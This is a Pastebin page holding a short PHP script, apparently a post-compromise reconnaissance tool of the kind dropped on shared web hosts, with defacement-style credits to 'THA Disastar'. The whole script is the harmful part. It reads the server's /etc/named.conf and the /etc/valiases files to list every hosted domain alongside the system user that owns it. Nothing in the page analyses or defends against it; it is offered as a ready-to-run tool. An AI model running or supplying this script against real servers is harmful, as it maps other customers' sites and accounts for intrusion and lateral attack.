Pisher

# Domains & Users

Nov 6th, 2015
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.92 KB | None | 0 0
  1.     <?
  2.      
  3.     echo "<title># Domains & Users</title>
  4.    
  5.    <style>
  6.    
  7.    body,table{background: black; font-family:Verdana,tahoma; color: white; font-size:10px; }
  8.    
  9.    A:link {text-decoration: none;color: red;}
  10.    
  11.    A:active {text-decoration: none;color: red;}
  12.    
  13.    A:visited {text-decoration: none;color: red;}
  14.    
  15.    A:hover {text-decoration: underline; color: red;}
  16.    
  17.    #new,input,table,td,tr,#gg{text-align:center;border-style:solid;text-decoration:bold;}
  18.    
  19.    tr:hover,td:hover{text-align:center;background-color: #FFFFCC; color:green;}
  20.    
  21.    </style>
  22.    
  23.    <p align=center># Domains & Users</p>
  24.    
  25.    <p align=center>Karar alShaMi t00l with PHP .. Maked By Lagripe-Dz ..?!</p><center>";
  26.      
  27.      
  28.      
  29.     $d0mains = @file("/etc/named.conf");
  30.      
  31.      
  32.      
  33.     if(!$d0mains){ die("<b># can't ReaD -> [ /etc/named.conf ]"); }
  34.      
  35.      
  36.      
  37.     echo "<table align=center border=1>
  38.    
  39.    <tr bgcolor=green><td>d0mains</td><td>users</td></tr>";
  40.      
  41.      
  42.      
  43.     foreach($d0mains as $d0main){
  44.      
  45.      
  46.      
  47.     if(eregi("zone",$d0main)){
  48.      
  49.      
  50.      
  51.     preg_match_all('#zone "(.*)"#', $d0main, $domains);
  52.      
  53.     flush();
  54.      
  55.      
  56.      
  57.     if(strlen(trim($domains[1][0])) > 2){
  58.      
  59.      
  60.      
  61.     $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  62.      
  63.      
  64.      
  65.     echo "<tr><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>"; flush();
  66.      
  67.      
  68.      
  69.     }}}
  70.      
  71.      
  72.      
  73.     echo "</table>
  74.    
  75.    <p align='center'>
  76.    
  77.    (c)0d3d By <a href='https://www.facebook.com/ZHCtehUnstopable'>THA Disastar</a> | <a href='https://www.facebook.com/ZHCtehUnstopable'>https://www.facebook.com/ZHCtehUnstopable</a><br>
  78.    
  79.    MaDe in THA Disastar 2o11 (r)
  80.    
  81.    </p>
  82.    
  83.    ";
  84.      
  85.      
  86.      
  87.     ?>
Add Comment
Please, Sign In to add comment